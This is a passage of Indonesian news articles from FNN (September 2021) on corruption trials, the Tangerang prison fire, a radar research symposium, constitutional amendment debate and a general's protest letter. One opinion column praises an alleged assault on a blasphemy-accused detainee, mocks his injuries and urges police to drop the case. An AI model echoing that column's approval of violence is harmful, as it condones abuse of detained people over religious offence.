Tetapi, kini Napoleon menjadi buah bibir selepas beliau membut bibir berbuah. Dia disanjung dan didukung. Dipuja dan dibela. Wallahi a’lam.[] (Penulis wartawan senior FNN)

Ibu Mertua SBY Meninggal Dunia

Jakarta, FNN - DPP Partai Demokrat menyampaikan pihaknya berduka atas wafatnya Sunarti Sri Hadiyah Sarwo Edhie Wibowo, ibu mertua Susilo Bambang Yudhoyono, di Jakarta, Senin, 20 September 2021. Jasad Sunarti Sri Hadiyah, istri mendiang tokoh militer Sarwo Edhie Wibowo, disemayamkan di Rumah Duka, Kompleks Condet Baru, Jalan Batu Ampar II No. B6, Jakarta, Senin. Jasad mendiang Sunarti Sri Hadiyah, yang juga dikenal dengan sebutan Ibu Ageng, akan dibawa ke Purworejo, Jawa Tengah, untuk dimakamkan di pemakaman keluarga, Selasa (21/9). “Mohon doanya, agar Almarhumah ditempatkan di sisi terbaik Allah SWT dan Bapak Susilo Bambang Yudhoyono, Bapak Agus Harimurti Yudhoyono (AHY), dan keluarga besar Bapak Sarwo Edhie Wibowo diberikan kekuatan dan ketabahan menghadapi ini,” kata Koordinator Juru Bicara DPP Partai Demokrat Herzaky Mahendra Putra di Jakarta, sebagaimana dikutip dari Antara. Sunarti Sri Hadiyah adalah ibu mendiang Ani Yudhoyono. Sunarti wafat pada usia 91 tahun, sementara Ani Yudhoyono, istri SBY, wafat pada usia 66 tahun. Ketua Umum DPP Partai Demokrat AHY, lewat akun resminya di media sosial, mengenang sosok Ibu Ageng sebagai panutan. “Ibu Ageng adalah sosok ibu dan eyang panutan yang selama ini selalu bijaksana, penuh semangat, dan cinta, serta selalu menjadi pengayom keluarga,” kata AHY. “Sosoknya begitu berkesan dan mendalam di hati kami semua,” tambah AHY. Dalam siaran yang sama, AHY menyebut mendiang ibunya menyebut Ibu Ageng sebagai “pamonge jagad” di keluarga. “Ya Allah terimalah segala amal ibadah dan kebaikan Bu Ageng di dunia. Ampunilah segala dosa, khilaf, dan salahnya. Tempatkanlah beliau di sisi-Mu yang mulia. Damai dan bahagia selamanya di syurga,” kata AHY mendoakan Ibu Ageng. Dalam unggahannya di media sosial, AHY turut membagikan beberapa foto dirinya dan mendiang neneknya, Ibu Ageng. (MD).

Wali Kota Tanjungbalai Divonis Dua Tahun Penjara

Jakarta, FNN - Wali Kota Tanjungbalai, Sumatera Utara, non-aktif Muhammad Syahrial divonis 2 tahun penjara. Ia juga dikenakan vonis tambahan denda Rp 100 juta subsider empat bulan kurungan karena terbukti menyuap mantan penyidik Komisi Pemberantasan Korupsi, Stepanus Robinson Pattuju sebesar Rp 1,695 miliar agar tidak menaikkan kasus dugaan korupsi ke tingkat penyidikan. "Mengadili, menyatakan terdakwa Muhammad Syahrial terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana korupsi sebagaimana dakwaan alternatif kedua penuntut umum. Menjatuhkan pidana terhadap terdakwa Muhammad Syahrial dengan pidana penjara selama dua tahun dan pidana denda sebesar Rp 100 juta dengan ketentuan bila tidak dibayar harus diganti dengan pidana selama 4 bulan," kata Ketua Majelis Hakim di pengadilan Tindak Pidana Korupsi (Tipikor) Medan, Senin, 20 September 2021. Syahrial mengikuti persidangan tersebut melalui fasilitas video conference dari gedung KPK Jakarta. Vonis yang diputuskan majelis hakim yang terdiri atas Ashar M Lubis, Zulhanuddin dan Husni Thamrin tersebut lebih rendah dibanding tuntutan jaksa penuntut umum (JPU) KPK yang meminta agar Syahrial divonis 3 tahun penjara ditambah denda Rp 150 juta subsider 6 bulan kurungan. Putusan tersebut berdasarkan dakwaan alternatif kedua dari pasal 5 ayat 1 huruf b Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dalam UU Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 64 ayat 1 KUHP. Hakim juga menolak permohonan Syahrial untuk menjadi pelaku yang bekerja sama dengan penegak hukum (justice collaborator). "Mengenai permohonan justice collaborator menurut hemat majelis, belum memenuhi ketentuan. Menolak permohonan justice collaborator dari terdakwa," ujar hakim, sebagaimana dikutip dari Antara. Terdapat sejumlah hal yang memberatkan dan meringankan dalam perbuatan Syahrial. "Hal memberatkan perbuatan, terdakwa bertentangan dengan kebijakan pemerintah yang sedang giat memberantas tindak pidana korupsi dalam terwujudnya pemerintahan yang bersih dari korupsi, kolusi dan nepotisme, ucap hakim. Sedangkan hal yang meringankan bersikap sopan di persidangan, terdakwa mengakui perbuatannya, terdakwa bersikap kooperatif selama proses persidangan di persidangan, terdakwa merupakan tulang punggung keluarga. Dalam perkara ini, M Syahrial selaku Wali Kota Tanjungbalai yang juga kader Partai Golkar terbukti berkunjung ke rumah dinas Wakil Ketua DPR RI yang juga merupakan petinggi Partai Golkar Muhammad Azis Syamsudin di Jalan Denpasar Raya, Kuningan Jakarta Selatan. Kunjungan itu dimaksudkan meminta dukungan M Azis Syamsuddin dalam mengikuti Pildaka Tanjungbalai 2021-2026. Syahrial lalu dikenalkan kepada Stepanus Robin Pattuju selaku penyidik KPK oleh Azis Syamsudin. Stepanus diketahui sering datang ke rumah dinas Azis Syamsuddin. Syahrial meminta Stepanus supaya membantu tidak menaikkan proses penyelidikan perkara jual beli jabatan di Pemkot Tanjungbalai yang melibatkan Syahrial ke tingkat penyidikan. Hal itu dimaksudkan supaya ia dapat mengikuti proses Pilkada Tanjungbalai. Beberapa hari kemudian, Stepanus Robin menghubungi temannya bernama Maskur Husain yang merupakan seorang advokat. Ia menyampaikan ada permintaan bantuan untuk mengurus perkara dari daerah Tanjungbalai, Sumatera Utara. Maskur lalu menyanggupi untuk membantu pengurusan perkara tersebut asalkan ada dananya sebesar Rp 1,5 miliar. Permintaan Maskur tersebut disetujui Stepanus untuk disampaikan ke Syahrial. Atas permintaan tersebut, Stepanus bersedia membantu dengan permintaan uang sejumlah Rp 1,5 miliar untuk pengamanan perkara. Stepanus juga sudah melaporkan permintaan yang tersebut kepada Azis Syamsuddin. Setelah itu, Stepanus menyampaikan kepada Syahrial bahwa ia sudah mengamankan supaya Tim Penyidik KPK tidak jadi ke Tanjungbalai dengan mengatakan "Perkara Pak Wali sudah aman". Selanjutnya pada sekitar Januari 2021 dan Februari 2021, Stepanus juga menyampaikan kepada Syahrial bahwa perkara yang sedang ditangani KPK mengenai dugaan jual-beli jabatan di pemerintahan kota Tanjungbalai yang melibatkan Syahrial sudah diamankannya. Syahrial lalu memberikan uang secara bertahap dengan total sejumlah Rp 1,695 miliar kepada Stepanus Robin Pattuju dan Maskur Husain. Pemberian pertama pada 17 November 2020 sampai 12 April 2021 ke rekening BCA atas nama Riefka Amalia sejumlah Rp 1,275 miliar. Kedua, pemberian uang secara transfer kepada Stepanus dan Maskur Husain secara bertahap pada 22 Desember 2020 ke rekening BCA atas nama Maskur Husain sejumlah Rp 200 juta Ketiga, pemberian uang secara tunai sejumlah Rp 220 juta kepada Stepanus Robin dan Masku Husain pada 25 Desember 2020 sejumlah Rp 210 juta di rumah makan warung kopi mie Balap di Kota Pematang Siantar, dan selanjutnya uang tersebut diserahkan Stepanus Robin kepada Maskur Husain dan pada Maret 2021, Syahrial memberikan uang kepada Stepanus Robin sejumlah Rp 10 juta di Bandara Kualanamu Medan. (MD).

Mantan Penyidik KPK Minta Teman Wanita Carikan Safe House

Jakarta, FNN - Mantan penyidik KPK Stepanus Robin Pattuju disebut meminta seorang teman wanitanya bernama Rizky Cinde Awaliyah untuk mencarikan lokasi safe house. "Saya lupa kapan. Tapi, Robin membuat tulisan safe house di Apartemen Golden Mansion. Waktu itu disampaikan dicari tempat untuk perkumpulan antara terdakwa Robin, Maskur, dan Agus Susanto," kata Rizky Cinde Awaliyah di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin, 20 September 2021. Dalam dakwaan disebutkan Stepanus Robin Pattuju mencari lokasi safe house guna menjadi tempat bertemu Robin dan Maskur Husain dan pihak lain untuk melakukan serah terima uang. "Kalau Agus Susanto itu setahu saya orang yang antar-antar Robin," ungkap Rizky, sebagaimana dikutip dari Antara. "Dalam BAP Nomor 20 saudara mengatakan 'Maksud Robin membuat tulisan safe house adalah Robin meminta saya survei apartemen di Jakarta Barat untuk tempat berkumpul Agus Susanto, Stepanus Robin, dan Maskur Husain terkait penyerahan uang dari orang yang memberikan uang kepada Stepanus Robin dan dari Stepanus Robin kepada Maskur Husain', benar?" tanya Jaksa Penuntut Umum (JPU) KPK Heradian Salipi. "Benar, Robin mengatakan harus dekat dekat money changer," jawab Rizky. "Apakah safe house jadi disewa?" tanya jaksa. "Tidak tahu. Saya hanya cari-cari dan dicatat hasilnya lalu saya kasih kepada Robin. Tetapi, apakah dipakai atau tidak saya tidak tahu," ujar Rizky. Rizky mengaku ia hanya tahu bahwa Robin mengurus perkara tapi tidak tahu detailnya. "Ada perkara yang diurus tapi tidak tahu perkara siapa. Robin tidak cerita tapi ada telefon yang ketika diangkat baru diceritakan, dia hanya mengatakan lagi urus kasus tapi terkait pekerjaannya, soal penyerahan uang tidak tahu," ucap Rizki. Rizky Cinde mengaku sejak Juni 2020 ia tinggal di sejumlah apartemen yang dibayari Robin. "Saya tinggal di Apartemen Mangga Besar, Apartemen Semanggi, Golden Mansion, semua yang bayari sewa terdakwa," kata Rizky. Rizky mengaku tidak terlalu intens berkomunikasi dengan Robin. "Tidak begitu intens komunikasi tapi bertemu dan saat berkomunikasi hanya menyampaikan ada pekerjaan di kantor dan kerja sama dengan Maskur," tambah Rizky. Dalam perkara ini, Robin dan Maskur didakwa menerima dari M Syahrial sejumlah Rp 1,695 miliar, Azis Syamsudin dan Aliza Gunado sejumlah Rp 3.099.887.000 dan 36.000 dolar AS, Ajay Muhammad Priatna sejumlah Rp 507,39 juta, Usman Effendi sejumlah Rp 525 juta, dan Rita Widyasari sejumlah Rp 5.197.800.000 sehingga total suap mencapai Rp 11,5 miliar. M. Syahrial adalah Wali Kota Tanjungbalai nonaktif; Azis Syamsudin adalah Wakil Ketua DPR dari Fraksi Partai Golkar; Aliza Gunado adalah kader Golkar yang pernah menjabat sebagai mantan Wakil Ketua Umum PP Angkatan Muda Partai Golkar (AMPG); Ajay Muhammad Priatna adalah Wali Kota Cimahi nonaktif; Usman Effendi adalah Direktur PT. Tenjo Jaya yang juga narapidana kasus korupsi hak penggunaan lahan di Kecamatan Tenjojaya, Sukabumi, Jawa Barat; dan Rita Wisyasari adalah mantan Bupati Kutai Kartanegara. (MD).

Polisi Harus Hentikan Proses Terhadap Napoleon Bonaparte

AKHIR pekan kemarin, rakyat heboh dengan berita dari dalam rumah tahanan (Rutan) Badan Reserse Kriminal Kepolisian Republik Indonesia (Bareskrim Polri). Heboh, karena tersangka penista agama Islam, M.Kece mendapatkan “hadiah” bogem mentah yang diduga dilakukan Inspektur Jenderal Napoleon Bonaparte. Muka Kece menjadi bonyok dan memar sebagaimana dapat dilihat dari foto-foto yang beredar di media mainstream maupun media sosial (medsos). Tidak hanya “hadiah” bogem mentah. Bahkan si terduga penista agama yang mengaku atheis itu juga mendapatkan lumuran kotoran manusia, sebagai pengharum baginya. Sudah badannya ‘dibedaki’ kotoran manusia, muka pun bengkak. Wajah yang katanya “Kece” pun menjadi tidak karu-karuan. Wajah garang yang selama ini menantang umat Islam di medsos dengan hinaannya kepada Nabi Muhammad Salllahu ‘alaihi wasallam, berubah menjadi muka rusak, muka mengharapkan iba,dan muka memelas. Umat Islam garis lurus tidak ada yang simpati padanya. Bahkan, umat Islam golongan ini memuji tindakan yang diduga dilakukan Napoleon Bonaparti alias Napo Batara itu. Dukungan kepada Napo Batara – yang ditahan karena vonis 4 tahun penjara dalam kasus suap Djoko Tjandra – terus mengalir. Apalagi, setelah ia mengeluarkan surat terbuka dari dalam tahanan, yang beredar pada Ahad, 18 September 2021. Ia sangat jantan, karena berani mempertanggungjawabkan tindakannya, menghajar si terduga penista agama Islam. Dalam surat terbukanya itu, Napoleon menulis, “Akhirnya, saya akan mempertanggung jawabkan semua tindakan saya terhadap Kace..apa pun risikonya.” Mengapa Napoleon yang masih polisi aktif dengan dua bintang di pundak mengatakan itu? Sebab, dalam pandangannya, perbuatan Kece dan beberapa orang tertentu telah sangat membahayakan persatuan, kesatuan, dan kerukunan umat beragama di Indonesia. Sebagai seorang Muslim sejak lahir, Napoleon sangat terusik dengan perbuatan Kece, sang atheis yang melecehkan dan menghina agama Islam. Ia pun menegaskan, silahkan dirinya dihina, tetapi tidak terhadap Allah ku, Al-Qur’an, Rasulullah Sallahu ‘alaihi wasaallam dan akidah Islamku. “Siapa pun bisa menghina saya, tapi tidak terhadap Allah ku, Al Qur’an, Rasulullah SAW dan akidah Islam ku. Karenanya saya bersumpah akan melakukan tindakan terukur apa pun kepada siapa saja yang berani melakukannya,” tulis Napoleon dalam surat terbukanya itu. Perseteruan antara Napoleon Bonaparte dengan Kece, ternyata berujung pada pelaporan ke Bareskrim Polri. Napolen dilaporkan, karena dugaan penganiayaan dan kekerasan fisik. Menarik dianalisa, mengapa polisi begitu mudah menindaklanjuti laporan Kece tersebut? Padahal, di dalam tahanan, baik tahanan kepolisian maupun di lembaga pemasyarakatan, kekerasan sesama tahanan sudah menjadi hal yang biasa terjadi. Ada istilah “lurah”, “komandan” dan lain-lain di dalam tahanan. Istilah tersebut disematkan kepada penghuni lama yang sudah menjadi “bos” di tahanan. Bisa juga penghuni baru yang berhasil mengambil-alih kekuasaan di dalam tahanan. Anda mengertilah, kalau sudah ada “lurah”, “komandan” dan sebutan lain, menunjukkan kekuasaan atau seorang tahanan yang berkuasa atas tahanan lain. Sang “lurah” menjadi pimpinan di sebuah tahanan. Ia memiliki kekuasaan “istimewa” dalam memberlakukan tahanan lain. Juga mendapatkan perlakuan “istimewa” dari penjaga tahanan. Termasuk harus menyetorkan sesuatu, terutama membagi makanan yang dibawa keluarga tahanan yang menjadi “binaannya”. Nah, di hampir semua penjara, ada saja aksi kekerasan terjadi sesama tahanan. Akan tetapi, biasanya bisa diselesaikan di dalam, tanpa harus melapor ke polisi. Mengapa laporan Kece malah diproses oleh polisi? Kabar yang beredar, kejadian antara Napoleon dan Kece itu sudah diselesaikan secara damai oleh sesama penghuni tahanan Bareskrim Polri. Tentu, perdamaian itu juga dipastikan difasilitasi oleh polisi yang menjaga mereka atau yang bertanggungjawab atas semua tahanan di tempat tersebut. Semestinya, laporan sesama tahanan tidak perlu diproses oleh polisi. Kecuali mengakibatkan tahanan meninggal dunia atau cacat seumur hidup, dan tahanan yang menjadi bandar serta pengedar narkoba. Sebab, jika setiap peristiwa di dalam penjara dilaporkan oleh yang merasa dirugikan atau teraniaya, berapa banyak yang harus diproses oleh polisi. Berapa banyak, narapidana yang akan menjadi tersangka lagi. Polisi harus berpikir ulang menindaklanjuti laporan Kece itu. Polisi harus menghentikan proses terhadap Napoleon. Sebab, kejadian tersebut berada dalam ranah Rutan. Artinya, jika ditindaklanjuti, bakal ada penjaga tahanan atau penanggungjawabnya yang harus diproses juga. Harus diproses karena ada “pembiaran” kekerasan terjadi. Polisi juga harus bertanggungjawab atas kekerasan yang terjadi atas Kece. Tidak bisa semata-mata membebankannya kepada Napoleon Bonaparte. Kecuali, ada polisi yang “dendam” kepada Napo Batara. **

Polda Metro: Dimungkinkan Tersangka Baru Kebakaran Lapas Tangerang

Jakarta, FNN - Penyidik Polda Metro Jaya menyebut tidak tertutup kemungkinan adanya tersangka baru di luar tiga orang yang sudah ditetapkan sebagai tersangka dalam kasus kebakaran Lapas Kelas 1 Tangerang. Tiga tersangka akan dijerat dengan Pasal 359 tentang kealpaan yang menyebabkan meninggalnya orang lain dan saat ini penyidik akan melakukan gelar perkara Pasal 187 dan 188 KUHP tentang penyebab kebakaran. "Untuk Pasal 187 dan 188 KUHP akan kita gelarkan untuk menetapkan tersangka, serta dalam perkembangan penyidikan tidak tertutup adanya tersangka lain," kata Direktur Reserse Kriminal Umum Polda Metro Jaya Kombes Pol Tubagus Ade Hidayat di Jakarta, Senin. Tubagus kemudian menjelaskan tiga tersangka di atas merupakan pegawai lapas yang bertugas saat terjadinya kebakaran. "Yang ditetapkan tersangka sementara tiga orang yang semuanya petugas lapas. Inisialnya RU, S dan Y," kata dia. Sebanyak 49 narapidana tewas dalam kebakaran yang terjadi di Blok C2 Lapas Kelas 1 Tangerang, Banten, pada Rabu (8/9) dini hari sekitar pukul 01.45 WIB. Seluruh jenazah korban tewas dalam kebakaran tersebut telah teridentifikasi dan dipulangkan kepada pihak keluarga untuk dimakamkan. Secara total pihak kepolisian telah memeriksa 53 saksi dalam kasus tersebut, beberapa diantaranya adalah pejabat Lapas yakni Kepala Lapas dan Kepala Tata Usaha, Kepala Kesatuan Pengamanan Lembaga Pemasyarakatan (KPLP), Kelapa Bidang Administrasi, Kepala Sub Bagian Hukum, Kepala Seksi Keamanan, dan Kepala Seksi Perawatan. (mth)

BRIN: Radar Atmosfer Perkuat Mitigasi Bencana Hidrometeorologi

Jakarta, FNN - Badan Riset dan Inovasi Nasional (BRIN) mengatakan Radar Atmosfer Khatulistiwa atau Equatorial Atmosphere Radar (EAR) memainkan peranan penting dalam memantau dinamika atmosfer sehingga bisa memberikan informasi dalam memperkuat mitigasi bencana hidrometeorologi. "Kolaborasi riset khususnya terkait EAR ini sangat penting bagi kita untuk bisa memahami atau meningkatkan pemahaman kita atas dinamika cuaca dan iklim di negara kita yang berada di khatulistiwa dan tentu itu akan mampu untuk meningkatkan kemampuan kita untuk melakukan mitigasi misalnya terkait dengan potensi-potensi bencana hidrometeorologi," kata Kepala BRIN Laksana Tri Handoko dalam Simposium Internasional Lapan BRIN - Universitas Kyoto tentang Atmosfer Khatulistiwa dalam rangka Hari Ulang Tahun (HUT) ke-20 Equatorial Atmosphere Radar di Jakarta, Senin. EAR adalah radar atmosfer yang dioperasikan pada frekuensi tengah sebesar 47 MHz. EAR dirancang untuk mengukur kecepatan angin dan turbulensi vertikal dan horizontal di troposfer dan stratosfer bawah hingga ketinggian 20 kilometer (km) dengan resolusi waktu dan ketinggian tinggi masing-masing kurang dari 1 menit dan 150 meter. Handoko menuturkan manfaat dari penggunaan EAR sangat signifikan bagi masyarakat karena pemahaman untuk melaksanakan mitigasi bencana hidrometeorologi memerlukan kajian dan studi berbasis ilmu pengetahuan yang sangat komprehensif. Kajian dan studi tersebut dapat dilakukan dengan memanfaatkan infrastruktur riset EAR. Selain itu, EAR yang sudah beroperasi sejak 2001 juga telah menyediakan data yang bersifat jangka panjang. Pelaksana tugas Kepala Organisasi Riset Penerbangan dan Antariksa BRIN Erna Sri Adiningsih mengatakan berbagai riset dan hasil ilmiah serta data telah dihasilkan melalui pemanfaatan fasilitas riset EAR sejak peluncuran operasionalnya pada 2001 untuk meningkatkan pemahaman dan pengetahuan tentang dinamika atmosfer. Data hasil pemantauan dinamika atmosfer yang diperoleh dari EAR itu memberikan kontribusi besar untuk memprediksi cuaca dan iklim khususnya di wilayah khatulistiwa. "Sehingga pada akhirnya masyarakat bisa merasakan manfaatnya itu melalui perbaikan di dalam konteks metode untuk memprediksi perubahan iklim global, dinamika atmosfer secara global khususnya yang punya karakteristik daerah-daerah tropis seperti Indonesia," ujarnya. Research Institute for Sustainable Humanosphere (RISH) Universitas Kyoto di Jepang membangun EAR di Observatorium Atmosfer Khatulistiwa di Kototabang, Agam, Sumatera Barat pada 2001. Pengoperasian EAR didasarkan pada nota kesepahaman (MOU) antara RISH dan Organisasi Riset Penerbangan dan Antariksa BRIN, yang sebelumnya bernama Lembaga Penerbangan dan Antariksa Nasional (Lapan). (mth)

Amandemen Bukan Sesuatu yang Tabu, Tapi Harus Komperhensif

Jakarta, FNN - Amandemen UUD 1945 bukan sesuatu yang tabu. Menjadi lumrah jika pikiran dan wacana itu secara periodik mewarnai dinamika politik Indonesia. Mengingat sudah dua dekade usia amandemen terakhir. Namun jika amandemen ingin direalisasikan, maka tidak bisa hanya parsial. Amandemen harus komperhensif. Merefleksikan kepentingan bangsa dan negara. Bukan kepentingan kelompok yang temporer. Pandangan itu disampaikan oleh Koordinator Panitia Musyawarah DPD, Tamsil Linrung dalam sambutannya ketika membuka agenda focus group discussion (FGD) Panmus DPD di Bandung. Menurut senator asal Sulawesi Selatan ini, diantara problem yang hangat jadi sorotan di tengah wacana amandemen adalah soal presidential threshold dan penataan kewenangan DPD. "Setting aturan menggiring skenario pembatasan kontestan Pilpres, mengakibatkan polarisasi politik yang sangat tajam. Masyarakat terbelah. Sistem politik menciptakan dinamika yang bising tapi tidak subtansial," papar Tamsil. Padahal, dengan membuka ruang kontestasi seluas-luasnya, termasuk melalui jalur capres independen, republik ini diuntungkan. Kontestasi lebih kompetitif. Selain itu, imbuhnya, bakal muncul banyak kandidat serta mencegah keterbelahan politik. Ketua Kelompok DPD di MPR ini juga menyoroti sistem ketatanegaraan yang dinilai tidak pada format ideal. Menurutnya, demokrasi perwakilan bikameral masih jauh dari harapan. Hasil kajian MPR selama 10 tahun terakhir, bahkan merekomendasikan penataan kewenangan DPD. “Para ahli yang telah kita ajak berdiskusi di MPR, juga memandang kiprah DPD sebagai representasi daerah perlu diberi ruang proporsional. DPD dapat menguatkan legitimasi produk legislasi serta meneguhkan peran pengawasan dan akuntabilitas budgeting yang diputuskan parlemen," imbuhnya. Tamsil memandang wacana Amandemen UUD jadi momentum untuk mengkomunikasikan hal tersebut secara politik. Sejauh ini, DPD terus melakukan roadshow ke kampus-kampus. Berdialog dan mendengar pendapat serta masukan para rektor, pakar dan akademisi. Pakar hukum tata negara, Indra Perwira yang hadir sebagai narasumber berpendapat, DPD tidak harus berlomba dalam membuat UU. Tapi fokus pada pengawasan hak-hak daerah. Akademisi Universitas Padjajaran ini juga menyoroti banyak kewenangan daerah yang ditarik lagi ke pusat, sehingga terkesan ada upaya menyeragamkan semua daerah melalui keputusan-keputusan politik pemerintah pusat. Menurutnya, pemerintah harus menjaga keberagaman daerah. Karena eksistensi bangsa Indonesia adalah kerelaan daerah yang beraneka ragam untuk menjadi NKRI. Sementara itu, pengamat hukum Universitas Pasundan, Atang Irawan menilai wacana amandemen dengan agenda utama Pokok Pokok Haluan Negara berpotensi mempersempit ruang gerak DPD. "PPHN menjadi monolitik. Milik MPR," imbuhnya. Karena itu, Atang menyarankan agar DPD menimbang lagi wacana PPHN yang kini bergulir di kajian internal MPR. (JD)

Kementan Berharap Holding BUMN Pangan Mudahkan Koordinasi Perencanaan

Jakarta, FNN - Kementerian Pertanian melalui Direktorat Jenderal Tanaman Pangan berharap rencana pembentukan Holding BUMN Pangan akan dapat memudahkan dalam koordinasi perencanaan. "Saya kira yang paling penting dan utama mudah-mudahan dengan adanya Holding BUMN Pangan akan memudahkan dalam koordinasi perencanaan. Kemudian nanti juga berimplikasi terhadap pengelolaan lebih lanjut, itu juga akan memudahkan," ujar Sekretaris Direktorat Jenderal Tanaman Pangan, Bambang Pamuji dalam diskusi INDEF di Jakarta, Senin. Bambang juga berharap dari Holding ini juga ada yang berperan mungkin menjadi bagian untuk menyediakan, memfasilitasi sarana produksi, kemudian juga ada yang akan berperan menjadi offtaker, dan sebagainya. "Harapan kami itu bisa terwujud dengan baik dan pada posisi yang menguntungkan petani," katanya. Sebelumnya PT RNI (Persero) mengungkapkan penggabungan BUMN Pangan sebagai proses menuju holding BUMN Pangan telah ditandatangani Presiden Joko Widodo melalui tiga Peraturan Pemerintah (PP) Republik Indonesia. Direktur Utama RNI (Persero) Arief Prasetyo Adi mengatakan bahwa sesuai arahan Menteri BUMN Erick Thohir, penggabungan dari 6 menjadi 3 BUMN Pangan ini merupakan tahap kedua yang harus dilakukan sebagai proses persyaratan pembentukan holding BUMN Pangan. Sesuai PP Nomor 97 Tahun 2021 penggabungan PT Bhanda Ghara Reksa ke dalam PT Perusahaan Perdagangan Indonesia yang bergerak di sektor perdagangan dan logistik didasarkan atas pertimbangan untuk meningkatkan efisiensi, efektivitas, serta penetrasi bisnis jaringan distribusi dan perdagangan, serta mendukung ketersediaan dan keterjangkauan termasuk bahan pangan. Sedangkan pada PP Nomor 98 Tahun 2021 penggabungan PT Pertani ke dalam PT Sang Hyang Seri yang bergerak pada sektor Pertanian didasarkan atas pertimbangan untuk meningkatkan efisiensi, efektivitas dan penetrasi bisnis serta mendukung ketersediaan, keterjangkauan, inklusivitas dan mutu untuk benih dan bahan pangan. Pada sektor Perikanan, PP Nomor 99 Tahun 2021 penggabungan PT Perikanan Nusantara ke dalam PT Perikanan Indonesia didasarkan juga atas pertimbangan meningkatkan efisiensi, efektivitas dan penetrasi jaringan bisnis perikanan, serta mendukung ketersediaan, keterjangkauan, inklusivitas dan mutu perikanan. Arief melanjutkan PP Penggabungan BUMN Pangan ini nantinya akan dilengkapi dengan persetujuan rancangan penggabungan dan RUPS perubahan Anggaran Dasar. BUMN klaster pangan merupakan gabungan dari 9 BUMN di antaranya PT RNI (Persero) sebagai induk, PT Perusahaan Perdagangan Indonesia (Persero), PT Bhanda Ghara Reksa (Persero), PT Sang Hyang Seri (Persero), PT Pertani (Persero), PT Perikanan Indonesia (Persero), PT Perikanan Nusantara (Persero), PT Berdikari (Persero), PT Garam (Persero). (mth)

PolisiTetapkan Tiga Tersangka Kebakaran Lapas Kelas 1 Tangerang

Jakarta, FNN - Penyidik Direktorat Reserse Kriminal Umum Polda Metro Jaya menetapkan tiga orang tersangka terkait kasus kebakaran yang menewaskan 49 warga binaan di Lembaga Pemasyarakatan (Lapas) Kelas 1 Tangerang, Banten. "Tadi pagi penyidik melakukan gelar perkara, menentukan tersangka. Ada tiga tersangka yang ditetapkan," kata Kepala Bidang Hubungan Masyarakat Polda Metro Jaya, Komisais Besar (Kombes) Yusri Yunus di Jakarta, Senin, 21 September 2021. Yusri menjelaskan, pasal yang dipersangkakan terhadap tiga tersangka itu, yakni Pasal 359 KUHP tentang kealpaan yang mengakibatkan korban jiwa. "Kesemuanya (tersangka) adalah pegawai lapas yang bekerja saat itu," ujar Yusri, sebagaimana dikutip dari Antara. Sedangkan Direktur Reserse Kriminal Umum Polda Metro Jaya, Kombes Tubagus Ade Hidayat menyebut penetapan tiga orang tersebut didasarkan pada tiga alat bukti. "Ada tiga alat bukti dalam rangka mendukung (penetapan tersangka) pertama keterangan saksi, dua keterangan ahli, ketiga dokumen," ujar Tubagus. Dia menegaskan tiga tersangka itu merupakan pegawai Lapas Kelas I Tangerang yang bertugas saat terjadi kebakaran. "Yang ditetapkan tersangka sementara tiga orang yang semuanya petugas lapas. Inisialnya RU, S dan Y," tutur Tubagus. Sebanyak 49 narapidana meninggal dunia akibat kebakaran yang terjadi di Blok C2 Lapas Kelas 1 Tangerang, Banten pada Rabu (8/9) sekitar pukul 01.45 WIB. Seluruh jenazah korban tewas telah teridentifikasi dan diserahkan kepada pihak keluarga untuk dimakamkan. Pihak kepolisian telah memeriksa 53 saksi terkait musibah tersebut. Beberapa di antaranya pejabat lapas, yakni Kepala Lapas dan Kepala Tata Usaha, Kepala Kesatuan Pengamanan Lembaga Pemasyarakatan (KPLP), Kelapa Bidang Administrasi, Kepala Sub Bagian Hukum, Kepala Seksi Keamanan, dan Kepala Seksi Perawatan. (MD).

Brigjen Junior Protes Arogansi Brimob

Jakarta, FNN - Belakangan ini beredar di media sosial dan grup WhatApp perihal surat Inspektur Kodam (Irdam) XIII/Merdeka, Brigadir Jenderal (Brigjen) Junior Tumilaar, dikirim ke Kapolri Jenderal Listyo Sigit Prabowo. Surat yang ditulis tangan Junior dengan tembusan Panglima TNI Marsekal Hadi Tjahjanto, KSAD Jenderal Andika Perkasa, dan Panglima Kodam XIII/Merdeka Mayjen Wanti Waranei Franky Mamahit, viral di media sosial. Kapendam XIII/Merdeka, Letkol Johnson M Sitorus membenarkan surat terbuka yang dibuat oleh Brigjen Junior Tumilaar yang mengecam tindakan PT Ciputra International/Perumahan Citraland, menyerobot tanah milik warga. Mengutip Republika.co.id, Senin (20 Sep 2021 05:47 WIB), surat terbuka Junior itu isinya juga membela rakyat kecil. “Benar Pak,” ujar Johnson ketika dikonfirmasi Republika di Jakarta pada Ahad (19/9/2021) malam WIB. Isi surat Junior itu juga berisi keheranannya atas sikap Brimob Sulawesi Utara (Sulut) bersenjata yang mendatangi salah seorang personel Bintara Pembina Desa (Babinsa). Hal itu dilakukannya terkait pembelaan sang Babinsa kepada warga bernama Ari Tahiru (67 tahun), yang tanahnya disebutnya diserobot PT Ciputra International. Junior tidak terima saat sang Babinsa yang membela rakyat kecil, berkonsekuensi harus dipanggil pihak Polresta Manado, dan Ari yang merupakan warga buta huruf harus ditangkap aparat. Dia pun menulis surat di Kota Manado pada 15 September 2021, yang ditujukan kepada orang nomor satu di organisasi Polri. Junior merupakan abiturien Akademi Militer (Akmil) 1988 yang merintis karier di korps Zeni TNI AD. Dia pernah menjadi Komandan Kodim 021/Tapanuli Tengah, dan Staf Khusus Direktur Zeni Angkatan Darat (Dirziad). “Saya bersurat dimotivasi oleh kebenaran berdasarkan Ketuhanan Allah Yang Maha Esa-Maha Kasih Yang bernama Yehuwa,” kata Junior mengawali suratnya yang ditujukan ke Jenderal Listyo. Junior memberitahukan dan bermohon agar Babinsa jangan dibuatkan surat panggilan Polri. Para Babinsa itu bagian dari sistem pertahanan Negara di darat. “Para Babinsa diajari untuk tidak sekali-kali menakuti dan menyakiti hati rakyat, bahkan wajib mengatasi kesulitan rakyat sekelilingnya,” tulisnya. Junior beritahukan kepada Bapak Kapolri, bahwa ada rakyat bernama Bapak Ari Tahiru rakyat miskin dan buta huruf berumur 67 tahun ditangkap ditahan karena laporan dari PT Ciputra International/Perumahan Citraland. “Bapak Ari Tahiru sampai (dengan) surat ini dibuat masih ditahan (± 1/2 bulan). Juga Bapak Ari Tahiru ini pemilik tanah waris yang dirampas/diduduki oleh PT Ciputra International/Perumahan Citraland (memang beberapa penghuni anggota Polri),” 